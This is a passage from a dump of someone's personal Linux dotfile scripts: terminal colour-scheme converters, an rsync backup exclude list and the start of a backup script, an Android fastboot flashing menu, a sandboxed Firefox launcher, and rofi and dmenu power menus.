\ 7 | -e 's/*color2:/grn/' \ 8 | -e 's/*color3:/ylw/' \ 9 | -e 's/*color4:/blu/' \ 10 | -e 's/*color5:/mag/' \ 11 | -e 's/*color6:/cyn/' \ 12 | -e 's/*color7:/wht/' \ 13 | -e 's/*color8:/bblk/' \ 14 | -e 's/*color9:/bred/' \ 15 | -e 's/*color10:/bgrn/' \ 16 | -e 's/*color11:/bylw/' \ 17 | -e 's/*color12:/bblu/' \ 18 | -e 's/*color13:/bmag/' \ 19 | -e 's/*color14:/bcyn/' \ 20 | -e 's/*color15:/bwht/' \ 21 | $1 -------------------------------------------------------------------------------- /Scripts/convert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash - 2 | 3 | FILE=$1 4 | 5 | bg=$(grep "*background" $FILE| awk '{print $2}') 6 | fg=$(grep "*foreground" $FILE| awk '{print $2}') 7 | 8 | echo "#define bg $bg" >> $FILE.X 9 | echo "#define fg $fg" >> $FILE.X 10 | 11 | 12 | cat < "$FILE" | grep -E color'[0-9]{1}' | while read -r line;do 13 | numb=$(echo $line | awk '{print $1}') 14 | if [ $numb == *color0: ]; then 15 | hex=$(echo $line | awk '{print $2}') 16 | echo "#define blk $hex" 17 | elif [ $numb == *color1: ]; then 18 | hex=$(echo $line | awk '{print $2}') 19 | echo "#define red $hex" 20 | elif [ $numb == *color2: ]; then 21 | hex=$(echo $line | awk '{print $2}') 22 | echo "#define grn $hex" 23 | elif [ $numb == *color3: ]; then 24 | hex=$(echo $line | awk '{print $2}') 25 | echo "#define ylw $hex" 26 | elif [ $numb == *color4: ]; then 27 | hex=$(echo $line | awk '{print $2}') 28 | echo "#define blu $hex" 29 | elif [ $numb == *color5: ]; then 30 | hex=$(echo $line | awk '{print $2}') 31 | echo "#define mag $hex" 32 | elif [ $numb == *color6: ]; then 33 | hex=$(echo $line | awk '{print $2}') 34 | echo "#define cyn $hex" 35 | elif [ $numb == *color7: ]; then 36 | hex=$(echo $line | awk '{print $2}') 37 | echo "#define wht $hex" 38 | elif [ $numb == *color8: ]; then 39 | hex=$(echo $line | awk '{print $2}') 40 | echo "#define bblk $hex" 41 | elif [ $numb == *color9: ]; then 42 | hex=$(echo $line | awk '{print $2}') 43 | echo "#define bred $hex" 44 | elif [ $numb == *color10: ]; then 45 | hex=$(echo $line | awk '{print $2}') 46 | echo "#define bgrn $hex" 47 | elif [ $numb == *color11: ]; then 48 | hex=$(echo $line | awk '{print $2}') 49 | echo "#define bylw $hex" 50 | elif [ $numb == *color12: ]; then 51 | hex=$(echo $line | awk '{print $2}') 52 | echo "#define bblu $hex" 53 | elif [ $numb == *color13: ]; then 54 | hex=$(echo $line | awk '{print $2}') 55 | echo "#define bmag $hex" 56 | elif [ $numb == *color14: ]; then 57 | hex=$(echo $line | awk '{print $2}') 58 | echo "#define bcyn $hex" 59 | elif [ $numb == *color15: ]; then 60 | hex=$(echo $line | awk '{print $2}') 61 | echo "#define bwht $hex" 62 | fi >> $FILE.X 63 | #echo $color 64 | done 65 | rm $FILE 66 | -------------------------------------------------------------------------------- /Scripts/cybergirl: -------------------------------------------------------------------------------- 1 | ! Special 2 | *background: #142320 3 | *foreground: #c0b99c 4 | *.cursorColor: #2d4944 5 | 6 | ! black 7 | *color0: #21312e 8 | *color8: #1a2f2b 9 | 10 | ! red 11 | *color1: #824f2c 12 | *color9: #8e5f3f 13 | 14 | ! Green 15 | *color2: #4a6544 16 | *color10: #597154 17 | 18 | ! Yellow 19 | *color3: #9b8f5f 20 | *color11: #aca074 21 | 22 | ! Blue 23 | *color4: #4f4e56 24 | *color12: #61606e 25 | 26 | ! Magenta 27 | *color5: #5f4646 28 | *color13: #715353 29 | 30 | ! Cyan 31 | *color6: #356153 32 | *color14: #4a7e6e 33 | 34 | ! White 35 | *color7: #9e928f 36 | *color15: #b7aba7 -------------------------------------------------------------------------------- /Scripts/exclide.txt: -------------------------------------------------------------------------------- 1 | # rsync-homedir-excludes 2 | # 3 | # A list of files to exclude when backing up *nix home directories using rsync. 4 | # 5 | # Author: Ruben Barkow 6 | # Version: 2018-05-18 7 | # 8 | # #Usage: 9 | # USER= 10 | # rsync -aP --exclude-from=rsync-homedir-excludes.txt /home/$USER/ /media/$USER/linuxbackup/home/$USER/ 11 | 12 | 13 | ############################################### 14 | # directories, probably not worth a backup # 15 | # (uncomment the files you don't need) # 16 | ############################################### 17 | 18 | #.android 19 | #.AndroidStudio*/ 20 | #Android/Sdk 21 | #.gradle 22 | #.gvm 23 | #.grails/ 24 | #.grails_history 25 | #.kde/share/apps/nepomuk 26 | #.local/share/notbit 27 | #.local/libvirt 28 | #.vagrant 29 | #.vagrant.d 30 | #.wine 31 | #.twister 32 | #/twister 33 | #Applications/eclipse* 34 | #/Downloads 35 | #*Popcorntime* 36 | #/.aMule 37 | #/Scribus 38 | VirtualBox* 39 | #/Nextcloud 40 | #_build 41 | ## Ruby gems 42 | #.rvm 43 | # 44 | ## Add Game Folders here: 45 | # 46 | #/games 47 | #.local/share/Steam 48 | #.steam 49 | #Steam 50 | #.minecraft 51 | #.PlayOnLinux 52 | Descargas/SD 53 | ################################################ 54 | # These directories may definitely be excluded # 55 | ################################################ 56 | 57 | # Contains mounted file systems: 58 | 59 | .gvfs 60 | .local/share/gvfs-metadata 61 | # contains the actual encrypted home directory 62 | /.Private 63 | 64 | # Session-specific: 65 | /.dbus 66 | .cache 67 | /.Trash 68 | .Trash-1* 69 | .local/share/Trash 70 | /Trash 71 | 72 | # Cached info about audio CDs: 73 | .cddb 74 | 75 | # Cached packages lists: 76 | .aptitude 77 | 78 | # Node Package Manager cache 79 | .npm 80 | 81 | #Flash-specific: 82 | 83 | # Cache for flash, maybe others? 84 | .adobe 85 | # except for Flash persistence, there is no reason to keep this 86 | .macromedia 87 | 88 | #Files: 89 | 90 | # Contains errors from the current graphical session 91 | .xsession-errors 92 | .wayland-errors 93 | 94 | # Recently used files 95 | .local/share/RecentDocuments 96 | .recently-used 97 | .recently-used.xbel 98 | recently-used.xbel 99 | .thumbnails 100 | .thumb 101 | Thumbs.db 102 | .DS_Store 103 | .localised 104 | .bash_history 105 | .CFUserTextEncoding 106 | 107 | # Common Unix Printing System 108 | /.cups 109 | 110 | # run-time configuration information for Subversion 111 | /.subversion 112 | 113 | # Python virtual environments 114 | /.virtualenvs 115 | 116 | # Python eggs 117 | .local/lib/python* 118 | 119 | # Session-specific 120 | .Xauthority 121 | .ICEauthority 122 | .gksu.lock 123 | .pulse 124 | .pulse-cookie 125 | .esd_auth 126 | 127 | #KDE specific: 128 | 129 | # Recent documents on KDE 130 | .kde/share/apps/RecentDocuments 131 | .kde4/share/apps/RecentDocuments 132 | # Contains a history of the Klipper clipboard (KDE) 133 | .kde/share/apps/klipper 134 | .kde4/share/apps/klipper 135 | # You will loose saved scrolling positions of PDFs 136 | .kde/share/apps/okular/docdata 137 | .kde/share/apps/gwenview/recentfolders 138 | .kde4/share/apps/okular/docdata 139 | .kde4/share/apps/gwenview/recentfolders 140 | # Cached other users' profile pics 141 | .kde/share/apps/kmess/displaypics 142 | .kde4/share/apps/kmess/displaypics 143 | # Cached emoticons of others 144 | .kde/share/apps/kmess/customemoticons 145 | .kde4/share/apps/kmess/customemoticons 146 | 147 | #Tor Browser supposed to not be backupped ;) 148 | .local/share/torbrowser 149 | 150 | #Firefox-specific (see also Profile folder): 151 | 152 | .mozilla/firefox/*/Cache 153 | # in case Fx crashes dumps will be stored in this 154 | .mozilla/firefox/*/minidumps 155 | # session-specific 156 | .mozilla/firefox/*/.parentlock 157 | # phishing database, recreated 158 | .mozilla/firefox/*/urlclassifier3.sqlite 159 | # blacklisted extensions 160 | .mozilla/firefox/*/blocklist.xml 161 | # extension database, recreated on startup 162 | .mozilla/firefox/*/extensions.sqlite 163 | .mozilla/firefox/*/extensions.sqlite-journal 164 | .mozilla/firefox/*/extensions.rdf 165 | .mozilla/firefox/*/extensions.ini 166 | .mozilla/firefox/*/extensions.cache 167 | # cached UI data, recreated 168 | .mozilla/firefox/*/XUL.mfasl 169 | .mozilla/firefox/*/XPC.mfasl 170 | .mozilla/firefox/*/xpti.dat 171 | .mozilla/firefox/*/compreg.dat 172 | # cached plugin data, recreated 173 | .mozilla/firefox/*/pluginreg.dat 174 | 175 | #SeaMonkey-specific (see also Profile folder): 176 | 177 | .mozilla/seamonkey/*/Cache 178 | # in case Fx crashes dumps will be stored in this 179 | .mozilla/seamonkey/*/minidumps 180 | # session-specific 181 | .mozilla/seamonkey/*/.parentlock 182 | # blacklisted extensions 183 | .mozilla/seamonkey/*/blocklist.xml 184 | # extension database, recreated on startup 185 | .mozilla/seamonkey/*/extensions.sqlite 186 | .mozilla/seamonkey/*/extensions.rdf 187 | .mozilla/seamonkey/*/extensions.ini 188 | # cached UI data, recreated 189 | .mozilla/seamonkey/*/xpti.dat 190 | .mozilla/seamonkey/*/compreg.dat 191 | # cached plugin data, recreated 192 | .mozilla/seamonkey/*/pluginreg.dat 193 | 194 | # Thunderbird Cache in your profile folder 195 | .thunderbird/*/Cache 196 | 197 | #Opera-specific (related question on Superuser.com: Is documentation available on files and directories in the Opera profile folder?): 198 | 199 | .opera/temporary_downloads 200 | .opera/cache 201 | .opera/thumbnails 202 | .opera/opcache 203 | .opera/icons 204 | .opera/application_cache 205 | .opera/widgets/*/cache 206 | .opera/lock 207 | 208 | # Keychain dir (manage SSH and GPG keys, front-end to ssh-agent and ssh-add) 209 | /.keychain 210 | 211 | #Komodo Edit: 212 | 213 | .komodoedit/*/codeintel/db 214 | .komodoedit/*/host-*/*/codeintel 215 | .komodoedit/*/XRE/Cache 216 | .komodoedit/*/XRE/.activatestate/komodo edit/Crash Reports 217 | .komodoedit/*/XRE/.activatestate/komodo edit/*/Cache 218 | .komodoedit/*/XRE/.activatestate/komodo edit/*/minidump 219 | .komodoedit/*/XRE/.parentlock 220 | .komodoedit/*/XRE/extensions.rdf 221 | .komodoedit/*/XRE/extensions.ini 222 | .komodoedit/*/XRE/extensions.cache 223 | .komodoedit/*/XRE/XPC.mfasl 224 | .komodoedit/*/XRE/XUL.mfasl 225 | .komodoedit/*/XRE/xpti.dat 226 | .komodoedit/*/XRE/pluginreg.dat 227 | .komodoedit/*/XRE/compreg.dat 228 | .komodoedit/*/XRE/*.sqlite-journal 229 | .komodoedit/*/pystdout.log 230 | .komodoedit/*/pystderr.log 231 | .komodoedit/*/history.sqlite.bak 232 | .komodoedit/*/running.lock 233 | .komodoedit/*/mutex.lock 234 | .komodoedit/*/*.xmlc 235 | .komodoedit/*/startup-env.tmp 236 | .komoeoedit/*/commandments.fifo 237 | .komoeoedit/*/history.sqlite 238 | 239 | #GnuPG: 240 | 241 | .gnupg/rnd 242 | .gnupg/random_seed 243 | .gnupg/.#* 244 | .gnupg/*.lock 245 | .gnupg/gpg-agent-info-* 246 | 247 | #Google Earth: 248 | .googleearth/Temp 249 | .googleearth/Cache 250 | 251 | #Google Chrome: 252 | 253 | .config/google-chrome/ShaderCache 254 | .config/google-chrome/Default/Local Storage 255 | .config/google-chrome/Default/Session Storage 256 | .config/google-chrome/Default/Application Cache 257 | .config/google-chrome/Default/History Index * 258 | .config/google-chrome/Default/Service Worker/CacheStorage 259 | 260 | #Chromium: 261 | .config/BraveSoftware/ 262 | .config/chromium/ 263 | .config/chromium/Default/Local Storage 264 | .config/chromium/Default/Session Storage 265 | .config/chromium/Default/Application Cache 266 | .config/chromium/Default/History Index * 267 | 268 | #Local repositories: 269 | .gradle/caches 270 | /.m2/repository 271 | 272 | #indexer 273 | .local/share/baloo 274 | .local/share/zeitgeist 275 | .local/share/akonadi 276 | 277 | #Other apps: 278 | 279 | # Pidgin 280 | .purple/icons 281 | # Cached applets 282 | .guayadeque/cache.db 283 | .java/deployment/cache 284 | .icedteaplugin 285 | .icedtea 286 | .gnome2/epiphany/favicon_cache 287 | 288 | # other temporary files 289 | nohup.out 290 | 291 | # LibreOffice cache files 292 | .config/libreoffice/4/cache 293 | 294 | # freshplayerplugin LSO 295 | .config/freshwrapper-data/Shockwave Flash/WritableRoot/#SharedObjects 296 | 297 | # Snap caches 298 | .config/*/Cache 299 | 300 | # Atom 301 | .config/Atom/*Cache 302 | .config/Atom/IndexedDB 303 | 304 | # VirtualBox 305 | .config/VirtualBox/VBoxSVC.log* 306 | 307 | # Rust artefacts 308 | .cargo 309 | .rustup 310 | 311 | # Erlang artefacts 312 | .kerl 313 | 314 | # ccache, remove cache but keep config 315 | .ccache/? 316 | .ccache/tmp 317 | 318 | # ZeroNet 319 | ZeroBundle/ZeroNet/data 320 | -------------------------------------------------------------------------------- /Scripts/firefox-sec: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # list http://useragentstring.com/pages/useragentstring.php/ 4 | agentsList=( 5 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0" 6 | "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0" 7 | ) 8 | 9 | RANDOM=$$$(date +%s) 10 | rand=$[$RANDOM % ${#agentsList[@]}] 11 | agent="${agentsList[$rand]}" 12 | 13 | # Create the tmp 14 | 15 | # -no-sandbox is require to start chrome based browser with firejail --seccomp 16 | /usr/bin/firejail --apparmor \ 17 | /usr/bin/firefox -no-sandbox \ 18 | --disk-cache-dir=/tmp/brave-cache --incognito 19 | -------------------------------------------------------------------------------- /Scripts/flasher: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #colors 4 | red=$(tput setaf 1) # red 5 | grn=$(tput setaf 2) # green 6 | blu=$(tput setaf 4) # blue 7 | cya=$(tput setaf 6) # cyan 8 | txtrst=$(tput sgr0) # Reset 9 | 10 | MAINDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 11 | Flashfile="$1" 12 | 13 | LOGFILE="factory_reset-$(date "+%Y%m%d").txt" 14 | 15 | #fastboot (){ 16 | # echo fastboot $1 $2 $3 17 | #} 18 | 19 | dependencies (){ 20 | check="$(command -v fastboot)" 21 | if [ ! $check ]; then 22 | echo "fastboot requiered" 23 | exit 1 24 | else 25 | toolkit 26 | fi 27 | } 28 | 29 | header (){ 30 | local write="$@" 31 | echo "${cya}ToolKit By Magdeoz" 32 | echo "${write} Menu"${txtrst} 33 | if [ $write == Stock ]; then 34 | echo "" 35 | echo " 36 | Se eliminaran apps, fotos, videos y musica 37 | almacenada en la memoria interna. 38 | Haga una copia de sus datos antes de continuar! 39 | 40 | ${red}Not continue if you received any errors previously!${txtrst}" 41 | echo 42 | fi 43 | } 44 | 45 | toolkit (){ 46 | clear 47 | header Main 48 | echo 49 | echo "Android version: ${ANDROID_VERSION}" 50 | echo "Build: ${BUILD}" 51 | echo "Phone Model: ${PHONE}" 52 | echo 53 | echo "-------------- OPTIONS -----------------" 54 | echo $LOG 55 | echo "[1] - ${grn}Boot TWRP (No Flash)${txtrst}" 56 | echo "[2] - ${grn}Reboot Phone${txtrst}" 57 | echo "[3] - ${grn}Check MD5sum Stock ROM${txtrst}" 58 | echo "[4] - ${red}Flash TWRP${txtrst}" 59 | echo "[5] - ${red}Flash Stock Rom${txtrst}" 60 | echo "[Q/q] - Exit" 61 | echo 62 | echo "----------------------------------------" 63 | #echo 64 | echo -n "Option: " 65 | read OPT 66 | case $OPT in 67 | 1) TWRP boot ;; 68 | 2) reboot ;; 69 | 3) check ;; 70 | 4) TWRP flash ;; 71 | 5) checking ;; 72 | Q|q) exit ;; 73 | *) echo "Error! option: '$OPT' invalid" && sleep 1s && clear && toolkit ;; 74 | esac 75 | } 76 | 77 | TWRP (){ 78 | clear 79 | header TWRP 80 | case $1 in 81 | flash) echo "" 82 | echo "${grn}Install TWRP recovery${txtrst}" 83 | PS3="Select recovery TWRP: " 84 | PRELIST="$(ls *.img 2>/dev/null)" 85 | if [[ ! $PRELIST ]]; then 86 | echo "No se encontraron Archivos IMG" 87 | sleep 3 88 | toolkit 89 | else 90 | list="$(ls *.img) Cancel" 91 | fi 92 | echo "" 93 | select option in $list 94 | do 95 | echo 96 | if [ "$option" = "Cancel" ]; then 97 | toolkit 98 | elif [ -n "$option" ]; then 99 | echo ${grn}"Installing: $option" ${txtrst} 100 | adb reboot bootloader 101 | sleep 2 102 | fastboot flash recovery $option 103 | sleep 3 104 | toolkit 105 | else 106 | echo "Invalid choice ($REPLY)!" 107 | sleep 2 108 | TWRP flash 109 | fi 110 | done 111 | ;; 112 | boot) echo "Booting TWRP recovery" 113 | adb reboot bootloader 114 | fastboot boot twrp-3.0.2-0-athene.img 115 | check_result failed completed 116 | toolkit 117 | ;; 118 | esac 119 | } 120 | 121 | reboot (){ 122 | clear 123 | header Recovery 124 | echo "[1] Reboot" 125 | echo "[2] Reboot Recovery Mode" 126 | echo "[3] Reboot Bootloader Mode" 127 | echo "[4] Reboot Fast" 128 | echo "[c] cancel" 129 | echo "" 130 | echo -n "> " 131 | read OPTR 132 | case $OPTR in 133 | 1) adb reboot 134 | toolkit 135 | ;; 136 | 2) adb reboot recovery 137 | toolkit 138 | ;; 139 | 3) adb reboot bootloader 140 | toolkit 141 | ;; 142 | 4) adb reboot fast 143 | toolkit 144 | ;; 145 | C|c) toolkit 146 | ;; 147 | *) echo "Invalid Option" && sleep 1s && clear 148 | reboot 149 | ;; 150 | esac 151 | } 152 | 153 | 154 | usage(){ ## print Usage 155 | echo 156 | echo "-----------------------------------" 157 | echo "" 158 | echo -e ${grn}" Usage: $0 [XML file]"${txtrst} 159 | echo "" 160 | echo -e " Example: $0 flashfile.xml" 161 | echo "" 162 | echo "-----------------------------------" 163 | if [ $# -ne 0 ]; then 164 | echo -e ${red}"$1" $2 165 | fi 166 | echo "" 167 | exit 1 168 | } 169 | 170 | if [ "$#" -ne 1 ]; then 171 | usage 172 | fi 173 | 174 | 175 | if [ -f $Flashfile ]; then 176 | FORMAT=$(echo $1 | cut -d '.' -f 2) 177 | if [ $FORMAT = "xml" ]; then 178 | VERIFIC=$(grep 'xml' $Flashfile | sed "s/.*$2=\"\([^\"]*\).*/\1/") 179 | if [ $VERIFIC != '1.0' ]; then 180 | echo "File XML no Valid!" 181 | exit 1 182 | fi 183 | else 184 | usage "Format '.$FORMAT':" "Unsupported File Format!" 185 | fi 186 | else 187 | usage "$Flashfile:" "File Does Not Exist!" 188 | fi 189 | 190 | #Flasher 191 | 192 | MD5SUM="md5sum" 193 | FILEXML=$(echo $1) 194 | ANDROID_VERSION=$(grep 'software_version' $FILEXML | awk '{print $3}') 195 | BUILD=$(grep 'software_version' $FILEXML | awk '{print $4}') 196 | SOFTWARE=$(grep software_version $FILEXML | sed "s/.*$2=\"\([^\"]*\).*/\1/") 197 | PHONE=$(grep phone_model $FILEXML | sed "s/.*$2=\"\([^\"]*\).*/\1/") 198 | VALUE=$(grep sparsing $FILEXML | sed "s/.*$2=\"\([^\"]*\).*/\1/") 199 | SPAR=$(grep 'sparsing' $FILEXML | awk '{print $2}' | cut -d '=' -f 2 | cut -d '"' -f 2) 200 | 201 | Value(){ 202 | val=$(echo "$1" | sed "s/.*$2=\"\([^\"]*\).*/\1/") 203 | echo "$val" | grep -q " " 204 | if [ $? -ne 1 ];then 205 | val="" 206 | fi 207 | echo "$val" 208 | } 209 | 210 | check_result () { 211 | if [ $? -ne 0 ]; then 212 | echo "" 213 | echo -e " [ERROR]: $1 -- ABORTING!" 1>&2 214 | exit 1 215 | else 216 | echo -e "[DONE]: $2 -- SUCCESS!" 217 | fi 218 | } 219 | 220 | check (){ 221 | clear 222 | header MD5 223 | cat "$Flashfile" | grep filename | while read -r line;do 224 | MD5=$(Value "$line" "MD5") 225 | FILE=$(Value "$line" "filename"); 226 | if [ "$MD5" != "" ];then 227 | FILEMD5=$($MD5SUM "$FILE" | sed 's/ \(.*\)//'); 228 | if [ "$MD5" != "$FILEMD5" ];then 229 | echo 230 | echo "$FILE: ${red}MD5 mismatch${txtrst}" 231 | exit 1; 232 | else 233 | echo "$FILE: ${grn}MD5 match${txtrst}" 234 | fi 235 | fi 236 | done 237 | read -p 'Press any key ...' 238 | toolkit 239 | } 240 | 241 | 242 | checking (){ 243 | clear 244 | header Check 245 | echo Checking Files... 246 | echo 247 | cat "$Flashfile" | grep filename | while read -r line;do 248 | MD5=$(Value "$line" "MD5") 249 | FILE=$(Value "$line" "filename"); 250 | if [ ! -f $FILE ]; then 251 | echo 252 | echo ${red}[ERROR]: $FILE -- File does not exist!${txtrst} 253 | error="1" 254 | echo 255 | else 256 | if [ "$MD5" != "" ];then 257 | FILEMD5=$($MD5SUM "$FILE" | sed 's/ \(.*\)//'); 258 | if [ "$MD5" != "$FILEMD5" ];then 259 | echo 260 | echo "[${red}ERROR${txtrst}]: $FILE -- ${red}MD5 Mismatch${txtrst}" 261 | error="1" 262 | echo 263 | else 264 | echo "$FILE: ${grn}MD5 Match${txtrst}" 265 | fi 266 | fi 267 | fi 268 | done 269 | echo 270 | read -p 'press ENTER for continue' 271 | stock 272 | } 273 | 274 | stock(){ 275 | clear 276 | header Stock 277 | echo 278 | echo Continue ?? 279 | echo "[y] - YES" 280 | echo "[n] - NO" 281 | echo 282 | echo -n "> " 283 | read OPTS 284 | case $OPTS in 285 | Y|y) #adb reboot bootloader 286 | sleep 4s 287 | cat "$Flashfile" | grep step[^s] | while read -r line;do 288 | ## Checking files 289 | MD5=$(Value "$line" "MD5") 290 | FILE=$(Value "$line" "filename"); 291 | OP=$(Value "$line" "operation"); 292 | PART=$(Value "$line" "partition"); 293 | VAR=$(Value "$line" "var"); 294 | echo Checking Files 295 | if [ $OP == getvar ]; then 296 | if [[ $spar == true ]]; then 297 | value=$(grep sparsing $FILEXML | sed "s/.*$2=\"\([^\"]*\).*/\1/") 298 | echo "Starting Flasher..." 299 | fastboot $OP $VAR | tee $LOGILE 300 | check_result "Check for errors" "Completed" 301 | echo "" 302 | sleep 1 303 | else 304 | 305 | echo "No image sparsing" 306 | sleep 1 307 | fi 308 | elif [ $OP == flash ]; then 309 | echo "${grn}Flashing${txtrst}: $FILE" 310 | fastboot $OP $PART $FILE | tee $LOGFILE 311 | check_result "Check for errors" "Completed" 312 | echo "" 313 | sleep 1 314 | elif [ $OP == erase ]; then 315 | echo "${grn}Erasing${txtrst}: $PART" 316 | fastboot $OP $PART | tee $LOGFILE 317 | check_result "Check for errors" "Completed" 318 | echo "" 319 | sleep 1 320 | elif [ $OP == oem ]; then 321 | if [ $VAR == fb_mode_set ]; then 322 | echo "Set fastboot mode" 323 | fastboot $OP $VAR | tee $LOGFILE 324 | check_result "Check for errors" "Completed" 325 | echo "" 326 | sleep 1 327 | else 328 | echo "Fastboot mode clear" 329 | fastboot $OP $VAR | tee $LOGFILE 330 | check_result "Check for errors" "Completed" 331 | echo "" 332 | sleep 1 333 | fi 334 | fi 335 | done 336 | fastboot reboot 337 | ;; 338 | N|n) 339 | toolkit 340 | ;; 341 | *) 342 | echo "Invalid option" 343 | sleep 1 344 | stock 345 | ;; 346 | esac 347 | } 348 | 349 | dependencies 350 | toolkit 351 | -------------------------------------------------------------------------------- /Scripts/ip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for ip in $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') 3 | do 4 | IP=$ip 5 | export IP 6 | sleep 10 7 | done 8 | -------------------------------------------------------------------------------- /Scripts/lost.X: -------------------------------------------------------------------------------- 1 | #define bg #1b1224 2 | #define fg #a49ca2 3 | #define blk #1b1224 4 | #define red #34222c 5 | #define grn #2e4046 6 | #define ylw #605856 7 | #define blu #342e46 8 | #define mag #2e3446 9 | #define cyn #402e46 10 | #define wht #776e6b 11 | #define bblk #251931 12 | #define bred #432c3f 13 | #define bgrn #364b52 14 | #define bylw #6a625f 15 | #define bblu #3d3652 16 | #define bmag #363d52 17 | #define bcyn #4b3652 18 | #define bwht #817874 19 | -------------------------------------------------------------------------------- /Scripts/lost.X.X: -------------------------------------------------------------------------------- 1 | #define bg 2 | #define fg 3 | -------------------------------------------------------------------------------- /Scripts/pawr.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # small power menu using rofi, i3, systemd and pm-utils 4 | # (last 3 dependencies are adjustable below) 5 | # tostiheld, 2016 6 | 7 | Poweroff_command="systemctl poweroff" 8 | Reboot_command="systemctl reboot" 9 | Logout_command="pkill x" 10 | Hibernate_command="systemctl hibernate" 11 | Suspend_command="systemctl suspend" 12 | 13 | # you can customise the rofi command all you want ... 14 | rofi_command="rofi -width 15 -hide-scrollbar -bg #586e75 -opacity 100 -padding 10 -lines 5" 15 | 16 | options=$'Poweroff\nReboot\nLogout\nHibernate\nSuspend' 17 | 18 | # ... because the essential options (-dmenu and -p) are added here 19 | eval \$"$(echo "$options" | $rofi_command -dmenu -p "")_command" 20 | -------------------------------------------------------------------------------- /Scripts/power-menu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | res=$(echo "logout|reboot|shutdown" | rofi -sep "|" -dmenu -i -p 'Power Menu: ' "" -bw 0 -bc "#dc1900" -bg "#1e1e20" -fg "#e0d8d1" -hlbg "#1e1e20" -hlfg "#dc1900" -width 9 -hide-scrollbar -eh 4 -location 3 -yoffset 23 -padding 15 -opacity 100 -font "Awesome 10, Hack 10" -auto-select) 4 | 5 | #if [ $res = "lock" ]; then 6 | # /home/khoaduccao/.config/lock.sh 7 | #fi 8 | if [ $res = "logout" ]; then 9 | i3-msg exit 10 | fi 11 | if [ $res = "reboot" ]; then 12 | systemctl reboot 13 | fi 14 | if [ $res = "shutdown" ]; then 15 | systemctl poweroff 16 | fi 17 | exit 0 18 | -------------------------------------------------------------------------------- /Scripts/power.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | terminal='xterm -e' 4 | power_list="LOGOUT\nREBOOT\nSHUTDOWN" 5 | 6 | bg=$(xrdb -query | grep background: | grep -oE '#[a-zA-Z0-9]{6}' | cut -c 1- ) 7 | fg=$(xrdb -query | grep foreground: | grep -oE '#[a-zA-Z0-9]{6}' | cut -c 1- ) 8 | nf=$(xrdb -query | grep color5: | grep -oE '#[a-zA-Z0-9]{6}' | cut -c 1- ) 9 | 10 | Dmenu="dmenu -i -b -h 24 -l 12 -w 100 -dim 0.0 -x 650 -y 320 -i -fn 'Droid Serif-8' -nb '$bg' -sb '$bg' -nf '$fg' -sf '$nf' " 11 | 12 | asuh=$(echo -e "$power_list" | eval $Dmenu) 13 | 14 | case $asuh in 15 | *LOGOUTt | ";"i | i";") 16 | pkill x & ;; 17 | *REBOOT) 18 | shutdown -r now & ;; 19 | *SHUTDOWN) 20 | shutdown -h now & ;; 21 | esac 22 | -------------------------------------------------------------------------------- /Scripts/rsync_tmbackup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | APPNAME=$(basename $0 | sed "s/\.sh$//") 4 | 5 | # ----------------------------------------------------------------------------- 6 | # Log functions 7 | # ----------------------------------------------------------------------------- 8 | 9 | fn_log_info() { echo "$APPNAME: $1"; } 10 | fn_log_warn() { echo "$APPNAME: [WARNING] $1" 1>&2; } 11 | fn_log_error() { echo "$APPNAME: [ERROR] $1" 1>&2; } 12 | fn_log_info_cmd() { 13 | if [ -n "$SSH_DEST_FOLDER_PREFIX" ]; then 14 | echo "$APPNAME: $SSH_CMD '$1'"; 15 | else 16 | echo "$APPNAME: $1"; 17 | fi 18 | } 19 | 20 | # ----------------------------------------------------------------------------- 21 | # Make sure everything really stops when CTRL+C is pressed 22 | # ----------------------------------------------------------------------------- 23 | 24 | fn_terminate_script() { 25 | fn_log_info "SIGINT caught." 26 | exit 1 27 | } 28 | 29 | trap 'fn_terminate_script' SIGINT 30 | 31 | # ----------------------------------------------------------------------------- 32 | # Small utility functions for reducing code duplication 33 | # ----------------------------------------------------------------------------- 34 | fn_display_usage() { 35 | echo "Usage: $(basename $0) [OPTION]... <[USER@HOST:]SOURCE> <[USER@HOST:]DESTINATION> [exclude-pattern-file]" 36 | echo "" 37 | echo "Options" 38 | echo " -p, --port SSH port." 39 | echo " -h, --help Display this help message." 40 | echo " -i, --id_rsa Specify the private ssh key to use." 41 | echo " --rsync-get-flags Display the default rsync flags that are used for backup." 42 | echo " --rsync-set-flags Set the rsync flags that are going to be used for backup." 43 | echo " --rsync-append-flags Append the rsync flags that are going to be used for backup." 44 | echo " --log-dir Set the log file directory. If this flag is set, generated files will" 45 | echo " not be managed by the script - in particular they will not be" 46 | echo " automatically deleted." 47 | echo " Default: $LOG_DIR" 48 | echo " --strategy Set the expiration strategy. Default: \"1:1 30:7 365:30\" means after one" 49 | echo " day, keep one backup per day. After 30 days, keep one backup every 7 days." 50 | echo " After 365 days keep one backup every 30 days." 51 | echo " --no-auto-expire Disable automatically deleting backups when out of space. Instead an error" 52 | echo " is logged, and the backup is aborted." 53 | echo "" 54 | echo "For more detailed help, please see the README file:" 55 | echo "" 56 | echo "https://github.com/laurent22/rsync-time-backup/blob/master/README.md" 57 | } 58 | 59 | fn_parse_date() { 60 | # Converts YYYY-MM-DD-HHMMSS to YYYY-MM-DD HH:MM:SS and then to Unix Epoch. 61 | case "$OSTYPE" in 62 | linux*) date -d "${1:0:10} ${1:11:2}:${1:13:2}:${1:15:2}" +%s ;; 63 | cygwin*) date -d "${1:0:10} ${1:11:2}:${1:13:2}:${1:15:2}" +%s ;; 64 | netbsd*) date -d "${1:0:10} ${1:11:2}:${1:13:2}:${1:15:2}" +%s ;; 65 | darwin8*) yy=`expr ${1:0:4}` 66 | mm=`expr ${1:5:2} - 1` 67 | dd=`expr ${1:8:2}` 68 | hh=`expr ${1:11:2}` 69 | mi=`expr ${1:13:2}` 70 | ss=`expr ${1:15:2}` 71 | # Because under 